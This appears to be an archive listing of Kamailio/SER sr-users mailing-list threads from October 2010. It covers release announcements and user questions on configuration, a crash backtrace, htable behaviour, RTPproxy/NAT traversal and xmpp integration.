Hi, in the doc of HTable module all the examples show "a=>size=4;". As the doc says: size - number specifying the size of hash table. The number of entries in the table is 2^size This is, the examples just allow 16 concurrent entries, which is not enough in most of the cases. Did I misunderstand something? or do the module examples use a non very pertinent value? Thanks a lot. -- Iñaki Baz Castillo <ibc(a)aliax.net>

5 8

Kamailio v3.0.4 Released
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Kamailio (OpenSER) v3.0.4 is released. This is a maintenance release of previous stable branch, 3.0.x, that includes fixes since release of v3.0.3. There is no change to database or configuration file required to upgrade to 3.0.4 from any 3.0.x version. For more details about version 3.0.4, visit: http://www.kamailio.org/w/2010/10/kamailio-v3-0-4-released/ Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Kamailio v1.5.5 Released
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Kamailio (OpenSER) version 1.5.5 is released. This is a maintenance release of branch 1.5, the last in its series. The project is officially maintaining the latest two stable branches, these being now 3.0.x and 3.1.x. As it happened in the past, fixes can still get into SVN branch 1.5, but there is no plan to package another version 1.5.x. If you still run 1.5.x, it is highly recommended that you start to plan the migration to 3.x versions. For more details about version 1.5.5, visit: http://www.kamailio.org/w/2010/10/kamailio-v1-5-5-released/ Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Crash on processing dialog BYE
by Alex Balashov 20 Oct '10

20 Oct '10

We had another one of these today, under high call volume: (gdb) where #0 0x0000003a60430265 in raise () from /lib64/libc.so.6 #1 0x0000003a60431d10 in abort () from /lib64/libc.so.6 #2 0x0000000000530a91 in qm_free (qm=0x2b343e1aa000, p=0x2b343eddf6e8, file=0x2b343dd860c3 "dialog: dlg_hash.c", func=0x2b343dd86b42 "destroy_dlg", line=176) at mem/q_malloc.c:447 #3 0x00002b343dd6a2ea in destroy_dlg (dlg=0x2b343fe1d6f8) at dlg_hash.c:176 #4 0x00002b343dd6d33a in unref_dlg (dlg=0x2b343fe1d6f8, cnt=1) at dlg_hash.c:591 #5 0x00002b343dd73a04 in profile_cleanup (msg=<value optimized out>, flags=<value optimized out>, param=0x6) at dlg_profile.c:317 #6 0x00000000004be9a1 in exec_post_script_cb (msg=0xa06e80, type=<value optimized out>) at script_cb.c:195 #7 0x00000000004989f0 in receive_msg ( buf=0x8b6300 "BYE sip:15746317356@yyy.yyy.yyy.yyy:5060 SIP/2.0\r\nRecord-Route: <sip:yyy.yyy.yyy.yyy;lr;ftag=gK0ebaf6d4>\r\nRecord-Route: <sip:67.231.8.89;lr;ftag=gK0ebaf6d4>\r\nVia: SIP/2.0/UDP xxx.xxx.xxx.xxx;branch=z9hG4bKd757."..., len=<value optimized out>, rcv_info=0x7fff4a043230) at receive.c:221 #8 0x000000000052576a in udp_rcv_loop () at udp_server.c:532 #9 0x0000000000468dcd in main_loop () at main.c:1554 #10 0x000000000046be9f in main (argc=<value optimized out>, argv=0x7fff4a043508) at main.c:2398 Is this a regression, or memory corruption from something else? This is with CANCEL_REASON_SUPPORT #undef'd in tm_reply.h, btw. -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

4 7

pdb_query dstavp argument
by Juha Heinanen 20 Oct '10

20 Oct '10

why dstavp argument of pdb_query() needs to be an avp? why a var is not accepted? -- juha

2 2

kamailio 1.5.5 and 3.0.4
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Based on our project policy to support officially the last two stable branches, I was thinking of packaging kamailio 1.5.5 to mark its end. New fixes will go to svn if it is the case, but no new release in 1.5.x series will be done. Also, since testing for 3.1.0 brought some fixes to 3.0.x, we should do as well 3.0.4. My proposal is next week, Wednesday, Oct 20. Don't forget to report issues you are aware for these two branches. Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

4 6

check_user_black_list error
by Bruno Machado 20 Oct '10

20 Oct '10

Hi I'm using version 1.5.4 and the module userblacklist is not working how I was expecting. The function check_user_black_list() returns the correct value. After some 5 minutes, it changes its return value. I'm blocking users that are not in the table. However, after this time, the functions says that they exist, but it is not true. Someone know why it happens? Could it be a module's bug? #avp 100 is a part of the username's RURI if(check_user_blacklist("$fU","$rd","$avp(s:100)")) { sl_send_reply("403", "Forbidden"); exit; } Tks, bruno machado

2 2

space in Allow field of location table causes failure in dbtext reload - v 3.0.0
by Jeremya 20 Oct '10

20 Oct '10

Hi, I have an application that uses dbtext. Starting with an empty location table I have a client register with kamailio. When kamailio is shut down the location records are written. When kamailio starts again it fails when reading the location value. The client does not provide an Allow: header. Field 16 in the location table is a parsed version of the Allow: header. When kamailio shuts down it writes a space ' ' for the value of field 16. This then causes the re-read to fail. Removing the space makes it all work again. I'd like to report this as a bug - and/or - even better - to get a quick patch to sort the problem. Is this the right place to report? Or is there an official form? Thanks Jeremy

2 1

set cfg variables via sercmd
by Morten Isaksen 19 Oct '10

19 Oct '10

Kamailio 3.0.3. I am trying to change a variable (in the cfg variable framwork) from sercmd, but I get an error [root@sip-core-1 ~]# sercmd cfg.set_now_int recording enabled 1 error: 500 - command cfg.set_now_int not found I have installed readline and ncurses which seems to be needed by looking at sercmd.c. Any ideas what I am missing? -- Morten Isaksen

2 2

Fwd: Tutorial: SIP SIMPLE Presence Made Simple with Kamailio 3.1
by Rouskol Andrey 19 Oct '10

19 Oct '10

Daniel, What whould you think about this variant of xcap authentication: event_route[xhttp:request] { xdbg("===== xhttp: request [$rv] $rm => $hu\n"); if($hu=~"^/xcap-root/") { # xcap ops $xcapuri(u=>data) = $hu; if($xcapuri(u=>xuid)=~"^sip:.+@.+") $var(uri) = $xcapuri(u=>xuid); else if($xcapuri(u=>xuid)=~".+@.+") $var(uri) = "sip:"+ $xcapuri(u=>xuid); else $var(uri) = "sip:"+ $xcapuri(u=>xuid) + "@" + $Ri; if($xcapuri(u=>auid)=="xcap-caps") { ... skipped ... } #!ifdef WITH_XHTTPAUTH #!ifdef WITH_MULTIDOMAIN if (!www_authorize("$(var(uri){uri.host})", "subscriber")) { www_challenge("$(var(uri){uri.host})", "0"); #!else if (!www_authorize("xcap", "subscriber")) { www_challenge("xcap", "0"); #!endif exit; } set_reply_close(); set_reply_no_connect(); #!ifdef WITH_XHTTPAUTH # be sure auth user access only its documents #!ifdef WITH_MULTIDOMAIN if($aU=~".+@.+") $var(tmp) = "sip:"+$aU; else $var(tmp) = "sip:"+$aU+"@"+$(var(uri){uri.host}); if ($var(uri)!=$var(tmp)) { xdbg("===== xhttp: Forbidden!!! $var(tmp) - $var(uri)\n"); #!else if ($au!=$(var(uri){uri.user})) { xdbg("===== xhttp: Forbidden!!! $au - $(var(uri){uri.user})\n"); #!endif .. Regards, Andrey.

3 6

Get registration information of a specific subscriber in script
by Adieu 19 Oct '10

19 Oct '10

Hello everybody, I just started to use kamailio. For the basic functions, I can get them working properly. But when I started to write my own script, I encountered some problem. The scenario is like this: I have a linksys spa3102 pstn-voip gateway at home which register itself at my server on the internet. I use adsl at home so the ip address change dynamically. When I want to route all my pstn calls to spa3102, I have to figure out the current ip address of my home connection. I tried to use dynamic dns, but my router does not update the ip address sometimes. So I was thinking about solving this problem in the kamailio configuration script. All I need is to get the registration information of spa3102 so that I can route my pstn call to it. I guess there might be a function doing this work. It expect a subscriber name as a variable and returns the registration information of the subscriber. I tried to dig the function out of kamailio documents but failed. And google doesn't seem to provide much help. I don't know if this function exist or not. Could someone confirm my guess or point out where I can find it? I will be much appreciated. //bow Adieu

2 2

#!endif and SUBSCRIBE issues 3.0.x
by Jeremya 19 Oct '10

19 Oct '10

I've discovered - after quite a while - that #!endif doesn't work if there is extra text on the line #!endif works #!endif # someblock doesn't work. Could this be addressed in code or at least noted in documentation? I also have the case of SUBSCRIBE where it is a later (re)SUBSCRIBE after an initial SUBSCRIBE. This has a to-tag. This is not handled by the default script. Could the default script be altered to handle SUBSCRIBE with to-tag please? Thanks Jeremy

3 2

Fwd: perl_exec() using parameter?
by "Nicolas Rüger" 19 Oct '10

19 Oct '10

Hello, any ideas for parameter passing to perl-scripts are appreciated!!! Regards, Nicolas -------- original-------- Hello, is there any chance to pass parameters (like from_uri or to_uri) from the kamailio routing logic to a perl script? I know that the whole sip message is provided as parameter but I wonder if there's a way to pass just the caller's uri (from tag) or the callee's uri (to tag) as a second parameter to the perl script. By using xlog it's clear that in $fu and $ru one can find the uri's. xlog("from: $fu to: $ru \n") OUTPUT: "from: sip:user01@mykamailio.de to:user02@mykamailio.de" BUT using these variables as a second parameter in perl_exec() leads to an error on kamailio start-up cause of bad config file. perl_exec("my_perl_script",$fu); Any suggestions or ideas??? Thank you... Regards, Nicolas -- GRATIS! Movie-FLAT mit über 300 Videos. Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome

7 21

SER+nathelper+RTPproxy
by Medina Curafina 18 Oct '10

18 Oct '10

Dear Sirs, I am writing to you, 'cause I have some issues about SER work. I installed ser-0.9.4, and test it in my local network, and everything works fine with hello_world.cfg. After that I had different situation. I wanted to make a call from one of my local hosts to remote host (which I registered to your SERWeb in format "username"@iptel.org). Of course I changed my ser.cfg file from hello_world.cfg into example.cfg (which one I send you in Attachment, grey parts are changed lines, because I need to show work of nathelper module of SER). I Installed RTP Proxy from CVS, and followed basic instructions. so, in my local network I am host 102(a)192.168.1.103 (x-Lite4) my domain is default one* (localhost)*, my NAT box is Cisco Lynksis Router. When I make a call (host 102-->SER-->NAT translation-->SERWeb(213.192.59.75)--->external IP of my friends PC), I can reach him (He can hear a phone call, but when he answers can't hear me, and I still get ringing tone, and after 7 second it looks like he canceled a call). In Wireshark I captured INVITE, 100, 180,200, and 487 "Request Terminated" messages. In section of VOIP Calls Graph, I see that messages didn't pass further off SERWeb. I am just beginner in SER use, and I really need your help. I really tried to understand what to do, I get through documentation about RTP Proxy and I feel that I make some mistakes in that part. I was passing through this for so long time, and I don't have anybody to ask for help except you. Do I need to configure my Router, fix configuration of host, configuration file, or something about RTP proxy. Hope hearing from you soon, Very Grateful, Medina H.

1 1

SER nathelper+RTPproxy
by Medina Curafina 18 Oct '10

18 Oct '10

I am writing to you, 'cause I have some issues about SER work. I installed ser-0.9.4, and test it in my local network, and everything works fine with hello_world.cfg. After that I had different situation. I wanted to make a call from one of my local hosts to remote host (which I registered to SERWeb in format "username"@iptel.org). Of course I changed my ser.cfg file from hello_world.cfg into example.cfg (which one I send you in Attachment, grey parts are changed lines, because I need to show work of nathelper module of SER). I Installed RTP Proxy from CVS, and followed basic instructions. so, in my local network I am host host(a)192.168.x.x <102(a)192.168.x.x.> (x-Lite4) my domain is default one* (localhost)*, my NAT box is Cisco Lynksis Router. When I make a call (host 102-->SER-->NAT translation-->SERWeb(213.192.59.75)--->external IP of my friends PC), I can reach him (He can hear a ringing tone, but when he answers can't hear me, and I still get ringing tone, and after 7 second it looks like he canceled a call). In Wireshark I captured INVITE, 100, 180,200, and 487 "Request Terminated" messages. In section of VOIP Calls Graph, I see that messages didn't pass further off SERWeb. I am just beginner in SER use, and I really need your help. I really tried to understand what to do, I get through documentation about RTP Proxy and I feel that I make some mistakes in that part. Is there anyone who can give me advice what I should do, and where am I wrong? Hope hearing from you soon, Very Grateful, Medy H.

1 0

Kamailio as IPv6 to IPv4 Gateway
by Joe Uelk 18 Oct '10

18 Oct '10

Hello all, I'm looking to implement the following scenario: Step 1 SIP Server A sends INVITE to port 5060 over IPv6 to Kamailio: 2001::1 --udp/tcp--> 2001::2:5060 Step 2 Kamailio SIP NATs the INVITE and sends it out IPv4 to SIP Server B on port 6000 1.1.1.1 --udp/tcp--> 1.1.1.2:6000 Step 3 All SIP Server B responses within this SIP dialog are sent back to SIP Server A along the same path. There is more to this but I want to accomplish this first and go from there. Can someone point me toward a resource on how to get this created? Do I need to use the WITH_NAT function in kamailio.cfg? Thanks! Joe

4 5

SIP Ping utility with kamailio
by JR Richardson 16 Oct '10

16 Oct '10

Hi All, Can someone point me in the right direction of a command line SIP Ping utility or how to invoke from Kamailio? I see there is a sip_ping.pl script in voip-hacks, does anyone have copy-paste text version of that, all I can find is the PDF? Thanks. JR -- JR Richardson Engineering for the Masses

4 7

call for assistance
by Meftah Tayeb 16 Oct '10

16 Oct '10

hi folk, could you join irc irc.freenode.net #switchfin to start porting SR to BF? not exactly porting but integrating if you get there we will organise a conf call hosted by me i could provide SIP and evean PSTN access thank you -- Meftah Tayeb inum: +883510001288000 mobile: +213660347746

2 2

how can string "0" be equal to int 0?
by Juha Heinanen 15 Oct '10

15 Oct '10

i have stored in htable a key_value=0 with key_type=1, i.e., string. then i have this piece of test code: if (defined($sht(htable=>$var(carrier_key)::id))) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is defined\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is NOT defined\n"); }; $var(carrier_id) = $sht(htable=>$var(carrier_key)::id); if ($var(carrier_id) == (int)0) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is not found\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is found\n"); }; and when the piece is executed, this is printed to syslog: Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is defined Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is not found i understand the first line, because the entry is in the htable, but how is it possible that string "0" is equal to int 0? -- juha

4 25

upgrade from 3.0 to 3.1
by Anders 15 Oct '10

15 Oct '10

Hi, Sorry about the low-level question, but... - how do I upgrade from Kamailio 3.0 to 3.1? I used git for installing 3.0 (this great guide: http://www.kamailio.org/dokuwiki/doku.php/install:kamailio-3.0.x-from-git) - but do I need to remove 3.0 and then install 3.1? Thanks, Anders

3 7

Re: [SR-Users] rtp proxy - where to invoke?
by Anders 15 Oct '10

15 Oct '10

Sorry, I didn't understand that. Is it good or bad that it is asymmetrical? And if not, what should it be? As far as I understand from my config, it first checks if NAT is set, and if so, it goes to force_rtp_proxy if it's INVITE and unforce_rtp_proxy if it's a BYE. Is that not correct? > On Wed, Oct 13, 2010 at 1:51 PM, Alex Balashov > <abalashov(a)evaristesys.com> wrote: >> This suggests asymmetrical invocation of rtpproxy, for example in 200 OK but >> not corresponding INVITE. >> >> -- >> Alex Balashov - Principal >> Evariste Systems LLC >> 1170 Peachtree Street >> 12th Floor, Suite 1200 >> Atlanta, GA 30309 >> Tel: +1-678-954-0670 >> Fax: +1-404-961-1892 >> Web: http://www.evaristesys.com/ >> >> On Oct 13, 2010, at 1:33 PM, Anders <vaerge(a)gmail.com> wrote: >> >>> Hi, >>> >>> I'm trying to get the RTP proxy to work with Kamailio (1.5), but right >>> now I am getting this error here: >>> >>> Oct 13 16:54:44 vn1031 /usr/local/sbin/kamailio[13622]: >>> ERROR:nathelper:force_rtp_proxy: incorrect port 0 in reply from rtp >>> proxy >>> >>> There is probably something wrong in my cfg - for the use of >>> force_rtp_proxy that part of my config is here below. See anything odd >>> that could lead to the error above? >>> >>> route { >>> ...... >>> route(4); >>> ...... >>> } >>> >>> route[4]{ >>> force_rport(); >>> if (nat_uac_test("19")) { >>> if (method=="REGISTER") { >>> fix_nated_register(); >>> } else { >>> fix_nated_contact(); >>> } >>> setflag(5); >>> } >>> return; >>> } >>> >>> route[5] { >>> if (is_method("BYE")) { >>> unforce_rtp_proxy(); >>> } else if (is_method("INVITE")){ >>> force_rtp_proxy(); >>> } >>> if (!has_totag()) add_rr_param(";nat=yes"); >>> return; >>> } >>> >>> onreply_route[1] { >>> xdbg("incoming reply\n"); >>> >>> if (!(status =~ "183" || status =~ "200")) >>> exit; >>> #fix_nated_contact(); >>> force_rtp_proxy(); >>> } >>> >>> _______________________________________________ >>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>> sr-users(a)lists.sip-router.org >>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >> >

2 4

getting unexpected values from htable
by Javier Gallart 15 Oct '10

15 Oct '10

Hi all I'm testing the htable module at Kamailio 3.1. Currently it's an extremely simple table with a single row loaded from a postgres DB. These are the relevant lines in the configuration file: modparam("htable", "db_url", "postgres://user:password@localhost :5432/database") modparam("htable", "htable", "a=>size=2;autoexpire=0;dbtable=h_table;") modparam("htable", "key_name_column", "key_name") modparam("htable", "key_type_column", "key_type") modparam("htable", "value_type_column", "value_type") modparam("htable", "key_value_column", "key_value") The only line in the table is: key_name | key_value | key_type | value_type ----------+-----------+----------+------------ 5 | 1 | 1 | 0 However, sht_print() shows this: 0(8570) ERROR: htable [ht_api.c:488]: ===== htable[a] hid: 109 exp: 0> 0(8570) ERROR: htable [ht_api.c:492]: htable[0] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[1] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[2] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[3] -- <1> 0(8570) ERROR: htable [ht_api.c:496]: cell: 5 0(8570) ERROR: htable [ht_api.c:498]: hid: 51 msize: 74 flags: 0 expire: 0 0(8570) ERROR: htable [ht_api.c:502]: v-i:9585128 Any idea of what might be happening? Thanks in advance.

3 3

Best of new in Kamailio 3.1
by Daniel-Constantin Mierla 15 Oct '10

15 Oct '10

Hello, some time ago I started a blog post series to reveal in more details some of the cool new features in version 3.1.0. Not finished yet, but has quite some posts so far, you can see the ToC at: http://bit.ly/c5jjzu Hope is useful for some of you, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 1

userblacklist error using characters
by "Nicolas Rüger" 15 Oct '10

15 Oct '10

Hello, HOW can I configure "userblacklist" module to accept the matching of characters as well??? I'm trying to use the "userblacklist" module with characters instead of numbers, so that I can even blacklist SIP-URIs like "user01(a)test.com". Unfortunately the "userblacklist" module or more specific "dtrie.c" returns the following error when I pass such a username: ERROR: <core> [dtrie.c:128]: cannot insert non-numerical character I checked in "dtrie.c" and found the following comment: "Its optimized towards the usecase of a matching tree that contains only digits, e.g.for LCR or blacklist modules. Nevertheless it also supports the matching of characters when configured correctly" So my question is: HOW can I configure "userblacklist" module to accept the matching of characters as well??? Thank you... Regards, Nicolas -- GMX DSL Doppel-Flat ab 19,99 €/mtl.! Jetzt auch mit gratis Notebook-Flat! http://portal.gmx.net/de/go/dsl

6 29

Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

Hello Daniel, > If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. >> you still have same domain - xmpp1.com - for both. Maybe i don't understand clearly what you say yet ! I think i used 2 domain: kamailio server have domain: kamailio1.com (101(a)kamailio1.com), xmpp server have domain: xmpp1.com (109(a)xmpp1.com). Login to xmpp client 109(a)xmpp1.com, how can i chat to the kamailio client 101(a)kamailio1.com ??? If I add to my buddy list is: 101*kamailio1.com(a)xmpp1.com --> xmpp1 server think it is a local user ! I need your idea about this testing scenario. I'm using the server mode when integrate xmpp to kamailio. Thanks in advanced, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:55:29 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 On 10/15/10 10:52 AM, Huy Nguyen wrote: Hi Daniel and list, If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. you still have same domain - xmpp1.com - for both. So when your xmpp client sends to server, the server looks at domain part and says it is my domain so i should have it in my location table. If it is another domain, xmpp2.com, then xmpp server will connect to xmpp2.com to send the message there. Cheers, Daniel I think it'll get the previous problem, because the xmpp server saw that the domain of the customer is xmpp1.com --> this is a user on its domain. How can xmpp server recognize that is the sip user from kamailio server and send the message to kamailio ? Have any wrong in my testing scenario ? Or we must change the order of sip buddy name: 101*xmpp1.com(a)kamailio1.com ? Thanks, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:31:28 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, it is the same domain you use for both xmpp and sip server? You have to use different ones, otherwise each server considers it is a local user and try to look it up in own location database. Cheers, Daniel On 10/15/10 7:27 AM, Huy Nguyen wrote: Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com -- Daniel-Constantin Mierla http://www.asipto.com

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Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Daniel-Constantin Mierla 15 Oct '10

15 Oct '10

... reply all didn't work first time ... On 10/15/10 10:52 AM, Huy Nguyen wrote: > Hi Daniel and list, > > If i use the different domain for kamailio and xmpp (e.g kamailio1.com > and xmpp1.com, i'm testing in my local network). If from my xmpp > client, e.g 109(a)xmpp1.com, i chat to sip client, e.g > 101*kamailio1.com(a)xmpp1.com. you still have same domain - xmpp1.com - for both. So when your xmpp client sends to server, the server looks at domain part and says it is my domain so i should have it in my location table. If it is another domain, xmpp2.com, then xmpp server will connect to xmpp2.com to send the message there. Cheers, Daniel > I think it'll get the previous problem, because the xmpp server saw > that the domain of the customer is xmpp1.com --> this is a user on its > domain. How can xmpp server recognize that is the sip user from > kamailio server and send the message to kamailio ? > > Have any wrong in my testing scenario ? Or we must change the order of > sip buddy name: 101*xmpp1.com(a)kamailio1.com ? > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > ------------------------------------------------------------------------ > Date: Fri, 15 Oct 2010 10:31:28 +0200 > From: miconda(a)gmail.com > To: huy_quocnguyen(a)live.com > CC: sr-users(a)lists.sip-router.org > Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 > > Hello, > > it is the same domain you use for both xmpp and sip server? You have > to use different ones, otherwise each server considers it is a local > user and try to look it up in own location database. > > Cheers, > Daniel > > On 10/15/10 7:27 AM, Huy Nguyen wrote: > > Hi, > > Thanks for your quickly support, but after recompile with the > lastest git branch 3.0 version, I still meet the same problem. > > From my xmpp client, i chat to sip client (e.g > 101*sip.htk.com(a)xmpp.htk.com > <mailto:101*sip.htk.com@xmpp.htk.com>), the xmpp server looking > for its database and not found user 101*sip.htk.com. So, it show > the error 503. > > I don't know why the xmpp server not send message to my sip > server ? At the current time, can we use the server mode of xmpp > module ? If yes, how can establish the connection between xmpp > module (on kamailio server) and the xmpp server, if the xmpp > module not running at port 5269 ? > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > > ------------------------------------------------------------------------ > Date: Thu, 14 Oct 2010 19:57:57 +0200 > From: miconda(a)gmail.com <mailto:miconda@gmail.com> > To: huy_quocnguyen(a)live.com <mailto:huy_quocnguyen@live.com> > CC: sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 > > Hello, > > take the latest git version from branch kamailio_3.0. There were > some fixes to xmpp module after 3.0.1. > > Cheers, > Daniel > > On 10/14/10 7:41 PM, Huy Nguyen wrote: > > Hi all, > > I'm trying to integrate xmpp module to kamailio 3.0.1. > > But i wondered about the server mode, if not use the local > xmpp server, how to establish the s2s connection with the > other xmpp server ? I think it must have the running port 5269 > on two xmpp servers to setup the connection. > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list > sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list > sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com -- Daniel-Constantin Mierla http://www.asipto.com

1 0

how can string "0" be equal to int 0?
by Juha Heinanen 15 Oct '10

15 Oct '10

i have stored in htable a key_value=0 with key_type=1, i.e., string. then i have this piece of test code: if (defined($sht(htable=>$var(carrier_key)::id))) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is defined\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is NOT defined\n"); }; $var(carrier_id) = $sht(htable=>$var(carrier_key)::id); if ($var(carrier_id) == (int)0) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is not found\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is found\n"); }; and when the piece is executed, this is printed to syslog: Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is defined Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is not found i understand the first line, because the entry is in the htable, but how is it possible that string "0" is equal to int 0? -- juha

1 0

Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

Hi Daniel and list, If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. I think it'll get the previous problem, because the xmpp server saw that the domain of the customer is xmpp1.com --> this is a user on its domain. How can xmpp server recognize that is the sip user from kamailio server and send the message to kamailio ? Have any wrong in my testing scenario ? Or we must change the order of sip buddy name: 101*xmpp1.com(a)kamailio1.com ? Thanks, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:31:28 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, it is the same domain you use for both xmpp and sip server? You have to use different ones, otherwise each server considers it is a local user and try to look it up in own location database. Cheers, Daniel On 10/15/10 7:27 AM, Huy Nguyen wrote: Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

